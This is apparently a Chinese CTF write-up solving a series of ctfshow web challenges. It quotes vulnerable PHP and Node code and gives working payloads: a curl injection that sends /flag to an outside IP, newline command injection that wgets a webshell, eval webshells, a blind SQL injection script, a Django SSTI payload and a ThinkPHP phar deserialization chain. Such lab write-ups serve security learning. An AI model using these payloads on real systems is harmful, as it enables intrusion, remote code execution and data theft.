web688 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file(__FILE__); error_reporting(0); //flag in /flag $url = $_GET['url']; $urlInfo = parse_url($url); if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){ die( "scheme error!"); } $url=escapeshellarg($url); $url=escapeshellcmd($url); system("curl ".$url);
传参发现它存在转义字符
会对符号进行转义,造成符号没法使用,加一个\符号就好,奇怪的是我需要再flag后面加个空格,不解,难道是当时卡了?
1 ?url=http://101.34.80.152:9999/' -T /flag '
web689 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0); if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = "upload/".$_GET['path']; }else{ show_source(__FILE__); exit(); } if(strpos($path,'..') > -1){ die('This is a waf!'); } if(strpos($url,'http://127.0.0.1/') === 0){ file_put_contents($path, file_get_contents($url)); echo "console.log($path update successed!)"; }else{ echo "Hello.CTFshow"; }
如果path这么穿是不是就相当于写进去文件里了
1 ?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST[a]);phpinfo();?>&path=1.php
我们这么穿,相当于file的值是
1 http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST[a]);phpinfo();?>
对应path=a.php写入文件 file_put_contents($path, file_get_contents($url));
就是向1.php写入
1 ?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST[a]);phpinfo();?>
web690 又一次见证到了%0a换行符的威力
1 2 3 4 5 6 7 8 9 10 <?php highlight_file(__FILE__); error_reporting(0); $args = $_GET['args']; for ( $i=0; $i<count($args); $i++ ){ if ( !preg_match('/^\w+$/', $args[$i]) ) exit("sorry"); } exec('./ ' . implode(" ", $args));
可以看到正则只允许字母数字和下划线存在,但是我们可以用%0a换行符来绕过,正好%0a也有和分号类似的作用
题目还会根据传入数组的数量进行遍历
但是又无回显,看yu师傅自己又写了个文件,
用python在本地起了个80端口的web服务 python -m SimpleHTTPServer 80
在当前目录下创建一个index.html,wget便会下载该文件 文件内容
1 2 3 <?php file_put_contents("shell.php",'<?php eval($_POST[1]);?>'); ?>
所以第一步就是下载文件,但是在此之前我们先创个文件夹,进入这个文件夹后再weget,具体原因和我们下面几步有关。 args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制 相当于执行命令
1 2 3 4 ./ 1 mkdir a cd a wget xxxxx
这时候你的a目录下已经有了一个index.html 那么我们只要用php命令来执行他就可以了,但是文件名(index.html)中有(.)还是有问题。 所以下面一步就是怎么把这个名字给改掉。 一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。 args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a 相当于执行 tar cvf shell a
1 2 3 将文件夹a打包成了shell。 这样我们就可以执行php代码了 args[]=1%0a&args[]=php&args[]=shell
本地创建一个index.html,内容为写一句话木马 ‘); ?>
同一目录下起一个web服务 python -m SimpleHTTPServer 80
//下载文件 args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
//打包文件使文件名可用 args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
//执行php文件 args[]=1%0a&args[]=php&args[]=shell
最后访问/shell.php就可以用刚才写的一句话木马了。
怕服务器被日,我并没有实践
web691 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include('inc.php'); highlight_file(__FILE__); error_reporting(0); function filter($str){ $filterlist = "/\(|\)|username|password|where| case|when|like|regexp|into|limit|=|for|;/"; if(preg_match($filterlist,strtolower($str))){ die("illegal input!"); } return $str; } $username = isset($_POST['username'])? filter($_POST['username']):die("please input username!"); $password = isset($_POST['password'])? filter($_POST['password']):die("please input password!"); $sql = "select * from admin where username = '$username' and password = '$password' "; $res = $conn -> query($sql); if($res->num_rows>0){ $row = $res -> fetch_assoc(); if($row['id']){ echo $row['username']; } }else{ echo "The content in the password column is the flag!"; } ?>
好久没认真手注sql了
今天来试试
1.首先判断列数,大于等于3小于4,说明列数为3
1 username='or 1 order by 1,2,3,4#&password=1
借用yu师傅一张图
当字符d大于第一个字母是会显示正确结果
c小于则不显示正确结果,1也是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests import string s = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~" url = "http://490db77d-6f5a-4b8a-ba95-4620b6eaf29c.challenge.ctf.show/" flag= "" for i in range(1, 50): print(i) for j in s: data = { 'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+ j), 'password': '1' } r = requests.post(url, data=data) # print(data['username']) if ("</code>admin" in r.text): flag = flag + chr(ord(j) - 1) print(flag) break
web692 1 2 3 4 5 6 7 8 9 <?php highlight_file(__FILE__); if(!isset($_GET['option'])) die(); $str = addslashes($_GET['option']); $file = file_get_contents('./config.php'); $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); file_put_contents('./config.php', $file);
函数addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(’)双引号(”)反斜杠(\)NULL。
输入\';phpinfo();//
\'
经过addslashes()
之后变为\\\'
,随后preg_replace会将两个连续的\合并为一个,也就是将\\\'
转为\\'
,这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个 ,以前不知道这个点(跟进)。
之后就getshell了
web693 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file(__FILE__); error_reporting(0); ini_set('open_basedir', '/var/www/html'); $file = 'function.php'; $func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file); session_start(); $_SESSION['name'] = $_POST['name']; if($_SESSION['name']=='admin'){ header('location:admin.php'); } ?>
1 2 3 func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file);
extract变量覆盖来改变$file的值。尝试读取题目中提示到的值
1 2 /?function=extract&file=php://filter/convert.base64-encode/resource=function.php/ ?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
function.php
1 2 3 4 5 6 7 8 9 <?php function filters($data){ foreach($data as $key=>$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?
admin.php
1 2 3 4 5 6 7 8 <?php if(empty($_SESSION['name'])){ session_start(); echo 'hello ' + $_SESSION['name']; }else{ die('you must login with admin'); } ?>
1 2 3 4 5 6 7 //shell.txt <?php eval($_POST[1]);?> GET: ?function=extract&file=http://11111/txt(冒着险 POST: 1=system('cat /f*');
web694 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0); $action=$_GET['action']; $file = substr($_GET['file'],0,3); $ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR'])); $content = $_POST['content']; $path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file; if($action=='ctfshow'){ file_put_contents($path,$content); }else{ highlight_file(__FILE__); } ?>
源码里写到获取file参数前三位,ip获取x-Forwarded-For的ip地址,
1 $path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
__DIR__
:__DIR__
是PHP中的一个魔术常量,表示当前文件所在的目录的绝对路径。这个常量会返回当前文件的目录路径,不包括文件名。
DIRECTORY_SEPARATOR
:DIRECTORY_SEPARATOR
是PHP中的一个常量,表示目录分隔符。在不同操作系统中,目录分隔符可能不同,使用DIRECTORY_SEPARATOR
可以保证在不同系统上的兼容性。
如果当前目录是/var/www/html file=a.php ip=127.0.0.1的话
path就会拼接成/var/www/html/127.0.0.1/a.php
我们可以控制ip和file
将ip设置为a.php就会变成/var/www/html/a.php/.指向当前目录下
就会在当前目录下创建一个a.php文件
记得X-Forwarded_For:后加个空格,之后访问a.php就好了
web695 koajs 1 https://github.com/koajs/koa-body/issues/75
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 router.post('/uploadfile', async (ctx, next) => { const file = ctx.request.body.files.file; if (!fs.existsSync(file.path)) { return ctx.body = "Error"; } if(file.path.toString().search("/dev/fd") != -1){ file.path="/dev/null" } const reader = fs.createReadStream(file.path); let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex"); let filePath = path.join(__dirname, 'upload/') + fileId const upStream = fs.createWriteStream(filePath); reader.pipe(upStream) return ctx.body = "Upload success ~, your fileId is here:" + fileId; }); router.get('/downloadfile/:fileId', async (ctx, next) => { let fileId = ctx.params.fileId; ctx.attachment(fileId); try { await send(ctx, fileId, { root: __dirname + '/upload' }); }catch(e){ return ctx.body = "no_such_file_~" } });
讲真的这个题我很懵逼,我抓了半天包没找到Json发的包在哪里
之后访问/downloadfile/id
下载就好了
web696 给了附件,先代审吧
分web1和web2
打开附件就提示django,那应该有ssti吧
先看web1
好像都提示了有ssrf了哈哈哈,else哪里存在ssrf,进入到home路由应该先登录看看admin
需要token
web2里存在ssti
思路大概是先登录admin,然后ssti
先注册一个看看
逆天
这我注册鸡毛,得亏有源码,Json格式提交数据
行了,寄,看wp吧
了解到:在django中创建admin后,数据库中是用is_superuser进行标识的。为1代表的是管理员。 而用户注册又是将整个data数据写入了数据库。所以我们注册的时候可以增加一个is_superuser参数,为了我们能访问所有admin页面,需要再加个is_staff参数
1 {"username":"Q1ngchuan","password":"123","is_superuser":1,"is_staff":1}
之后进行登录
换成login就行
怎么我进入到home页面是这样。。。到这吧,放弃了后面需要ssrf打另一台,之后ssti
/home
{“url”:”http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}
1 2 3 4 /home {"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}
web697 开局提示传NOHO,随便传传
试了几个,不是太大就是太小,当传入数组是,出现
测试
发现源码有sql注入,平常题目传入后台密码一般会经过sql注入
出现了乱码,可能是经过某种加密了,如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。
1 2 3 ffifdyop e58 4611686052576742364
只能传数字,传4611686052576742364
web671 我就奇怪了,做题人怎么知道这是哈希长度扩展攻击的,源码在哪?????
一个登录框就知道了?就哈希长度扩展攻击,就是不知道哪里看到的,估计比赛有源码吧
web718 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php show_source(__FILE__); error_reporting(0); $v1=0;$v2=0;$v3=0; $json=(array)json_decode(@$_GET['data']); if(is_array($json)){ is_numeric($json["part1"])?die("nope"):NULL; if(@$json["part1"]){ ($json["part1"]>2021)?$v1=1:NULL; } if(is_array($json["part2"])){ if(count($json["part2"])!==5 OR !is_array($json["part2"][0])) die("nope"); $pos = array_search("show", $json["a2"]); $pos===false?die("nope"):NULL; foreach($json["part2"] as $key=>$val){ $val==="show"?die("nope"):NULL; } $v2=1; } } $c=@$_GET['c']; $d=@$_GET['d']; if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi("3|1|c",$d.$c[0])?die("nope"):NULL; strpos(($c[0].$d), "ctfshow")?$v3=1:NULL; } } if($v1 && $v2 && $v3){ include "flag.php"; echo $flag; } ?>
第一个就不多说了,Json格式,2022a即可,后面要求part2为数组,且长度大于5,塞5个数组就行,要求数组a2理由show,填上就行,data就完成了
后面来了,即要求c[1]和b相等,又要求不绝对相等
首先保证$c[1]存在,
然后eregi()函数我们可以用**%00截断**,
strcmp比较是==弱类型比较,构造 $c[1]为字符串,可以和%00(空)匹配,后面array 和string 进行strcmp 比较的时候会返回一个null ,
然后让$c[0]=”ctfshow”即可
1 ?data={"part1":"2022a","part2":[["1"],"1","1","1","1"],"a2":["show"]}&c[1][]=1&d=%00&c[0]="ctfshow"
web743 1 a=QNKCDZO&b=240610708&c=aaroZmOk&d=aaO8zKZF&remember_me=yes
web745 1 function=file_get_contents¶m%5B%5D=/flag.txt
web777 写完这道题去吃饭
访问www.zip得到源码,tp5的sql注入
1 username[0]=not like&username[1][0]=%25%25&username[1][1]=233&username[2]=) union select 1,'123','123'%23&password=123
进入管理员页面存在文件上传,但是后缀是白名单,另外还有一个listpic函数 其中的is_dir可以触发phar。 那就好说了,上传一个phar然后触发。
直接上phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 <?php namespace think; use think\session\driver\Memcache; class Process { private $processPipes; private $status; private $processInformation; public function __construct(){ $this->processInformation['running']=true; $this->status=3; $this->processPipes=(new Memcache(1)); } } namespace think; class Model{} namespace think\model; use think\Model; class Merge extends Model{ public $a='1'; public function __construct(){} } namespace think\model\relation; use think\console\Output; use think\db\Query; use think\model\Merge; use think\model\Relation; class HasMany extends Relation { //protected $baseQuery=true; protected $parent; protected $localKey='a'; protected $foreignKey='a'; protected $pivot; public function __construct(){ $this->query=new Output(); $this->parent= new Merge(); } } namespace think\model; class Relation{} namespace think\db; class Query{} namespace think\console; class Output{ protected $styles = [ 'info', 'error', 'comment', 'question', 'highlight', 'warning', 'getTable', 'where' ]; private $handle; public function __construct() { $this->handle = (new \think\session\driver\Memcache(0)); } } namespace think\session\driver; class Memcache { protected $handler; public function __construct($i) { if($i==0){ $this->handler = (new \think\cache\driver\Memcached(0)); }else{ $this->handler = (new \think\model\relation\HasMany); } } } namespace think\cache\driver; class Memcached { protected $tag; protected $options; protected $handler; public function __construct($i) { if($i==0){ $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+', /* eval($_POST[1]);?> */ ]; $this->handler = (new File); } } } class File { protected $tag; protected $options; public function __construct() { $this->tag = false; $this->options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'data_compress' => false, 'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/', ]; } } @unlink("phar.jpg"); $phar = new \Phar("phar.jpg"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
文件需要改一下后缀,白名单里的就行
1 2 url?s=admin/index/listpic dir=phar://static/img/person.jpg
执行成功后会生成一个fd25663b72dc7867bc6b0764ce53cd49.php ,密码是1,蚁剑连接可以拿到flag。